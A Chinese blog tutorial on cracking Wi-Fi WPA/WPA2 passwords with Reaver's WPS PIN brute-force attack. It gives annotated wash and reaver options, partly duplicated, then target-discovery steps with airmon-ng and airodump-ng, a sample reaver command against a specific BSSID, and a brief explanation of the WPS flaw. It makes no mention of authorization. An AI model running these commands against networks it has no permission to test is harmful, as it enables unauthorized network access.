草庐IT

Reaver 破解Wi-Fi网络

edolf 2023-03-28 原文

简介:

掠夺者(Reaver) 实现对WiFi保护设置(WPS)注册商的PIN暴力攻击,以恢复WPA / WPA2密码短语, 掠夺者已被设计为针对WPS一健壮和实际的攻击,并且经测试对多种接入点和WPS实现。 平均而言,掠夺者会恢复目标AP的纯文本WPA / WPA2密钥在4-10小时,这取决于接入点。在实践中,一般会一半的时间来猜测正确的WPS PIN和恢复密码 资料来源

WiFi保护设置扫描工具

wash使用方式

wash -h #显示帮助信息

#Required Arguments: 所需参数:
  -i, --interface=<iface>              #Interface to capture packets on 用于捕获数据包的接口
  -f, --file [FILE1 FILE2 FILE3 ...]   #Read packets from capture files 用于捕获数据包的接口
#Optional Arguments: 可选参数:
  -c, --channel=<num>                  #Channel to listen on [auto] 频道收听[自动]
  -o, --out-file=<file>                #Write data to file 将数据写入文件
  -n, --probes=<num>                   #Maximum number of probes to send to each AP in scan mode [15] 在扫描模式下发送到每个AP的最大探测数[15]
  -D, --daemonize                      #Daemonize wash 守护进程清洗
  -C, --ignore-fcs                     #Ignore frame checksum errors 忽略帧校验和错误
  -5, --5ghz                           #Use 5GHz 802.11 channels 使用 5GHz 802.11 频道
  -s, --scan                           #Use scan mode 使用扫描模式
  -u, --survey                         #Use survey mode [default] 使用调查模式[默认]
  -h, --help                           #Show help 显示帮助
#Example: 例子:
  wash -i mon0

扫描使用的监控模式接口 (-i MON0) 通道6 网(C6), 而忽略帧校验和 错误(-C):

wash -i mon0 -c 6 -C
Wash v1.4 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <
>
BSSID                  Channel       RSSI       WPS Version       WPS Locked        ESSID
---------------------------------------------------------------------------------------------------------------
E0:3F:49:6A:57:78       6            -73        1.0               No                ASUS

reaver 参数详解

必须参数

-i, –interface= Name of the monitor-mode interface to use  #网卡的监视接口,通常是mon0
-b, –bssid= BSSID of the target AP #AP的MAC地址

Optional Arguments: 可选参数

-m, –mac= MAC of the host system #指定本机MAC地址
-e, –essid= ESSID of the target AP #路由器的ESSID,一般不用指定
-c, –channel= Set the 802.11 channel for the interface (implies -f) #信号的频道,如果不指定会自动扫描
-o, –out-file= Send output to a log file [stdout] #输出日志文件
-s, –session= Restore a previous session file #恢复进度文件
-C, –exec= Execute the supplied command upon successful pin recovery #pin成功后执行命令
-D, –daemonize Daemonize reaver #设置reaver成Daemon
-a, –auto Auto detect the best advanced options for the target AP #对目标AP自动检测高级参数
-f, –fixed Disable channel hopping #禁止频道跳转
-5, –5ghz Use 5GHz 802.11 channels #使用5G频道
-v, –verbose Display non-critical warnings (-vv for more) #显示不重要警告信息 -vv 可以显示更多
-q, –quiet Only display critical messages #只显示关键信息
-h, –help Show help #显示帮助信息

Advanced Options:高级选项

 -b, –bssid= BSSID of the target AP #AP的MAC地址
  Optional Arguments: 可选参数
  -m, –mac= MAC of the host system
  指定本机MAC地址
  -e, –essid= ESSID of the target AP
  路由器的ESSID,一般不用指定
  -c, –channel= Set the 802.11 channel for the interface (implies -f)
  信号的频道,如果不指定会自动扫描
  -o, –out-file= Send output to a log file [stdout]
  输出日志文件
  -s, –session= Restore a previous session file
  恢复进度文件
  -C, –exec= Execute the supplied command upon successful pin recovery
  pin成功后执行命令
  -D, –daemonize Daemonize reaver
  设置reaver成Daemon
  -a, –auto Auto detect the best advanced options for the target AP
  对目标AP自动检测高级参数
  -f, –fixed Disable channel hopping
  禁止频道跳转
  -5, –5ghz Use 5GHz 802.11 channels
  使用5G频道
  -v, –verbose Display non-critical warnings (-vv for more)
  显示不重要警告信息 -vv 可以显示更多
  -q, –quiet Only display critical messages
  只显示关键信息
  -h, –help Show help
  显示帮助
  Advanced Options:高级选项
  -p, –pin= Use the specified 4 or 8 digit WPS pin
  使用指定的4位或者8位pin码
  -d, –delay= Set the delay between pin attempts [1]
  pin间延时,默认1秒
  -l, –lock-delay= Set the time to wait if the AP locks WPS pin attempts [60]
  AP锁定WPS后等待时间
  -g, –max-attempts= Quit after num pin attempts
  最大pin次数
  Reaver 参数
  -x, –fail-wait= Set the time to sleep after 10 unexpected failures [0]
  10次意外失败后等待时间,默认0秒
  -r, –recurring-delay= Sleep for y seconds every x pin attempts
  每x次pin后等待y秒
  -t, –timeout= Set the receive timeout period [5]
  收包超时,默认5秒
  -T, –m57-timeout= Set the M5/M7 timeout period [0.20]
  M5/M7超时,默认0.2秒
  -A, –no-associate Do not associate with the AP (association must be done by another application)
-p, –pin= Use the specified 4 or 8 digit WPS pin #使用指定的4位或者8位pin码
-d, –delay= Set the delay between pin attempts [1] #pin间延时,默认1秒
-l, –lock-delay= Set the time to wait if the AP locks WPS pin attempts [60] #AP锁定WPS后等待时间
-g, –max-attempts= Quit after num pin attempts #最大pin次数

Reaver 参数

-x, –fail-wait= Set the time to sleep after 10 unexpected failures [0]
  #10次意外失败后等待时间,默认0秒
-r, –recurring-delay= Sleep for y seconds every x pin attempts
  #每x次pin后等待y秒
-t, –timeout= Set the receive timeout period [5]
  #收包超时,默认5秒
-T, –m57-timeout= Set the M5/M7 timeout period [0.20]
  #M5/M7超时,默认0.2秒
-A, –no-associate Do not associate with the AP (association must be done by another application) #不连入AP(连入过程必须有其他程序完成)
-N, –no-nacks Do not send NACK messages when out of order packets are received
#不发送NACK信息(如果一直pin不动,可以尝试这个参数)
-S, –dh-small Use small DH keys to improve crack speed
#使用小DH关键值提高速度(推荐使用)
-L, –ignore-locks Ignore locked state reported by the target AP
#忽略目标AP报告的锁定状态
-E, –eap-terminate Terminate each WPS session with an EAP FAIL packet
#每当收到EAP失败包就终止WPS进程
-n, –nack Target AP always sends a NACK [Auto]
#对目标AP总是发送NACK,默认自动
-w, –win7 Mimic a Windows 7 registrar [False]
#模拟win7注册,默认关闭

Ps:影响到无线的因素很多,所以各参数之间的配合很重要,当然,最关键的还是取决于信号。

原理详细:

什么是PIN码?
印在无线路由器设备标签上的一组8位数字字符串,无线路由器管理界面中当然也会存在并可更改。
PIN码有什么用?
在无线网卡的配套管理软件(如TP-LINK的QSS软件)里输入无线路由器设备上的那8位数字字符串就可以成功登录该已被加密的无线路由器。
穷举PIN码是什么意思?
既然知道了无线路由器PIN值的范围(8位纯数字),且目前大部分设备的WPS是呈开启状态的,那么穷举PIN码以攻破无线路由器的安全防护这一暴力行为就有了理论可行性

reaver使用示例

使用监控模式接口 -i MON0 攻击接入点 -b E0:3F:49:6A:57:78), 显示详细输出 -v):

reaver -i mon0 -b E0:3F:49:6A:57:78 -v
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <
>
[+] Waiting for beacon from E0:3F:49:6A:57:78
[+] Associated with E0:3F:49:6A:57:78 (ESSID: ASUS)
[+] Trying pin 12345670

使用方式

在使用Reaver之前,你需要获取你无线网卡的接口名称、路由的BSSID(BSSID是一个由字母和数字组成的序列,用于作为路由器的唯一标识)、以及确保你的无线网卡处于监控模式。具体参见以下步骤。

扫描网卡信息

  • 找到无线网卡: 在终端里,键入:
iwconfig

回车。此时你应该看到无线设备的相关信息。一般,名字叫做wlan0,但如果你的机子不止一个无线网卡,或者使用的是不常见的网络设备,名字可能会有所不同。

  • 将无线网卡设置为监控模式 :假设你的无线网卡接口名称为wlan0,执行下列命令,将无线网卡设置为监控模式:
airmon-ng start wlan0

这一命令将会输出监控模式接口的名称,如下图中箭头所示,一般情况下,都叫做wlan0mon。

  • 找到你打算破解的路由器的BSSID :最后,你需要获取路由器的唯一标识,以便Reaver指向要破解的目标。执行以下命令:
airodump-ng wlan0

(注意:如果airodump-ng wlan0命令执行失败,可以尝试对监控接口执行,例如airodump-ng wlan0mon

此时,你将看到屏幕上列出周围一定范围内的无线网络,当看到你想要破解的网络时,按下Ctrl+C,停止列表刷新,然后复制该网络的BSSID(图中左侧字母、数字和分号组成的序列)。从ENC这一列可以看出,该网络是WPA或WPA2协议。

现在,手里有了BSSID和监控接口的名称,万事俱备,只欠破解了。

使用Reaver破解无线网络的WPA密码

在终端中执行下列命令,用你实际获取到的BSSID替换命令中的bssid:

reaver -i moninterface -b bssid -vv

例如,如果你和我一样,监控接口都叫做wlan0mon,并且你要破解的路由器BSSID是8D:AE:9D:65:1F:B2,那么命令应该是下面这个样子:

reaver -i wlan0mon -b 8D:AE:9D:65:1F:B2 -vv

最后,回车!接下来,就是喝喝茶、发发呆,等待Reaver魔法的发生。Reaver将会通过暴力破解,尝试一系列PIN码,这将会持续一段时间,在我的测试中,Reaver花了2个半小时破解网络,得出正确密码。正如前文中提到过的,Reaver的文档号称这个时间一般在4到10个小时之间,因此根据实际情况不同,这个时间也会有所变化。当Reaver的破解完成时,它看起来是下图中这个样子:

一些要强调的事实 :Reaver在我的测试中工作良好,但是并非所有的路由器都能顺利破解(后文会具体介绍)。并且,你要破解的路由器需要有一个相对较强的信号,否则Reaver很难正常工作,可能会出现其他一些意想不到的问题。整个过程中,Reaver可能有时会出现超时、PIN码死循环等问题。一般我都不管它们,只是保持电脑尽量靠近路由器,Reaver最终会自行处理这些问题。

除此以外,你可以在Reaver运行的任意时候按下Ctrl+C中断工作。这样会退出程序,但是Reaver下次启动的时候会自动恢复继续之前的工作,前提是只要你没有关闭或重启电脑(如果你直接在live DVD里运行,关闭之前的工作都会丢失)。

Reaver的工作原理

你已经学会了使用Reaver,现在,让我们简单了解一下Reaver的工作原理。它利用了WiFi保护设置(WiFi Protected Setup - 下文中简称为WPS)的一个弱点,WPS是许多路由器上都有的一个功能,可以为用户提供简单的配置过程,它与设备中硬编码保存的一个PIN码绑定在一起。Reaver利用的就是PIN码的一个缺陷,最终的结果就是,只要有足够的时间,它就能破解WPA或WPA2的密码。

参考链接:

reaver | Kali Linux Tools

4x26 Reaver · Kali Lunix工具使用中文说明书 (gitbooks.io)

技术|如何使用Reaver破解Wi-Fi网络的WPA密码 (linux.cn) 提取码:Ff1p

Reaver基本命令参数详解及应用.docx

有关Reaver 破解Wi-Fi网络的更多相关文章

  1. ruby - 用 Ruby 编写一个简单的网络服务器 - 2

    我想在Ruby中创建一个用于开发目的的极其简单的Web服务器(不,不想使用现成的解决方案)。代码如下:#!/usr/bin/rubyrequire'socket'server=TCPServer.new('127.0.0.1',8080)whileconnection=server.acceptheaders=[]length=0whileline=connection.getsheaders想法是从命令行运行这个脚本,提供另一个脚本,它将在其标准输入上获取请求,并在其标准输出上返回完整的响应。到目前为止一切顺利,但事实证明这真的很脆弱,因为它在第二个请求上中断并出现错误:/usr/b

  2. 网络编程套接字 - 2

    网络编程套接字网络编程基础知识理解源`IP`地址和目的`IP`地址理解源MAC地址和目的MAC地址认识端口号理解端口号和进程ID理解源端口号和目的端口号认识`TCP`协议认识`UDP`协议网络字节序socket编程接口`sockaddr``UDP`网络程序服务器端代码逻辑:需要用到的接口服务器端代码`udp`客户端代码逻辑`udp`客户端代码`TCP`网络程序服务器代码逻辑多个版本服务器单进程版本多进程版本多线程版本线程池版本服务器端代码客户端代码逻辑客户端代码TCP协议通讯流程TCP协议的客户端/服务器程序流程三次握手(建立连接)数据传输四次挥手(断开连接)TCP和UDP对比网络编程基础知识

  3. ruby - 检查网络文件是否存在,而不下载它? - 2

    是否可以在不实际下载文件的情况下检查文件是否存在?我有这么大的(~40mb)文件,例如:http://mirrors.sohu.com/mysql/MySQL-6.0/MySQL-6.0.11-0.glibc23.src.rpm这与ruby​​不严格相关,但如果发件人可以设置内容长度就好了。RestClient.get"http://mirrors.sohu.com/mysql/MySQL-6.0/MySQL-6.0.11-0.glibc23.src.rpm",headers:{"Content-Length"=>100} 最佳答案

  4. ruby - 404 未找到,但可以从网络浏览器正常访问 - 2

    我在这方面尝试了很多URL,在我遇到这个特定的之前,它们似乎都很好:require'rubygems'require'nokogiri'require'open-uri'doc=Nokogiri::HTML(open("http://www.moxyst.com/fashion/men-clothing/underwear.html"))putsdoc这是结果:/Users/macbookair/.rvm/rubies/ruby-2.0.0-p481/lib/ruby/2.0.0/open-uri.rb:353:in`open_http':404NotFound(OpenURI::HT

  5. 深度学习12. CNN经典网络 VGG16 - 2

    深度学习12.CNN经典网络VGG16一、简介1.VGG来源2.VGG分类3.不同模型的参数数量4.3x3卷积核的好处5.关于学习率调度6.批归一化二、VGG16层分析1.层划分2.参数展开过程图解3.参数传递示例4.VGG16各层参数数量三、代码分析1.VGG16模型定义2.训练3.测试一、简介1.VGG来源VGG(VisualGeometryGroup)是一个视觉几何组在2014年提出的深度卷积神经网络架构。VGG在2014年ImageNet图像分类竞赛亚军,定位竞赛冠军;VGG网络采用连续的小卷积核(3x3)和池化层构建深度神经网络,网络深度可以达到16层或19层,其中VGG16和VGG

  6. 【网络】-- 网络基础 - 2

    (本文是网络的宏观的概念铺垫)目录计算机网络背景网络发展认识"协议"网络协议初识协议分层OSI七层模型TCP/IP五层(或四层)模型报头以太网碰撞路由器IP地址和MAC地址IP地址与MAC地址总结IP地址MAC地址计算机网络背景网络发展        是最开始先有的计算机,计算机后来因为多项技术的水平升高,逐渐的计算机变的小型化、高效化。后来因为计算机其本身的计算能力比较的快速:独立模式:计算机之间相互独立。    如:有三个人,每个人做的不同的事物,但是是需要协作的完成。    而这三个人所做的事是需要进行协作的,然而刚开始因为每一台计算机之间都是互相独立的。所以前面的人处理完了就需要将数据

  7. 常见网络安全产品汇总(私信发送思维导图) - 2

    安全产品安全网关类防火墙Firewall防火墙防火墙主要用于边界安全防护的权限控制和安全域的划分。防火墙•信息安全的防护系统,依照特定的规则,允许或是限制传输的数据通过。防火墙是一个由软件和硬件设备组合而成,在内外网之间、专网与公网之间的界面上构成的保护屏障。下一代防火墙•下一代防火墙,NextGenerationFirewall,简称NGFirewall,是一款可以全面应对应用层威胁的高性能防火墙,提供网络层应用层一体化安全防护。生产厂家•联想网御、CheckPoint、深信服、网康、天融信、华为、H3C等防火墙部署部署于内、外网编辑额,用于权限访问控制和安全域划分。UTM统一威胁管理(Un

  8. 【Linux操作系统】——网络配置与SSH远程 - 2

    Linux操作系统——网络配置与SSH远程安装完VMware与系统后,需要进行网络配置。第一个目标为进行SSH连接,可以从本机到VMware进行文件传送,首先需要进行网络配置。1.下载远程软件首先需要先下载安装一款远程软件:FinalShell或者xhell7FinalShellxhell7FinalShell下载:Windows下载http://www.hostbuf.com/downloads/finalshell_install.exemacOS下载http://www.hostbuf.com/downloads/finalshell_install.pkg2.配置CentOS网络安装好

  9. ruby - 在 Ruby 中训练神经网络 - 2

    在神经网络方面,我完全是个初学者。我整天都在与ruby​​-fann和ai4r搏斗,不幸的是我没有任何东西可以展示,所以我想我会来到StackOverflow并询问这里的知识渊博的人。我有一组样本——每天都有一个数据点,但它们不符合我能够找出的任何明确模式(我尝试了几次回归)。不过,我认为看看是否有任何方法可以仅从日期预测future的数据会很好,而且我认为神经网络将是生成希望表达这种关系的函数的好方法.日期是DateTime对象,数据点是十进制数,例如7.68。我一直在将DateTime对象转换为float,然后除以10,000,000,000得到一个介于0和1之间的数字,我一直在将

  10. ruby - Heroku 和网络抓取 - 2

    我有一个nokigiri网络抓取工具,它发布到我试图发布到heroku的数据库。我有一个sinatra应用程序前端,我想从数据库中获取它。我是Heroku和Web开发的新手,不知道处理此类问题的最佳方法。我是否必须将上传到数据库的网络爬虫脚本放在sinatra路由下(如mywebsite.com/scraper),并让它变得如此模糊以至于没有人访问它?最后,我想让sinatra部分成为一个从数据库中提取的restapi。感谢大家的参与 最佳答案 您可以采用两种方法。第一个是通过控制台使用herokurunYOURCMD运行scrap

随机推荐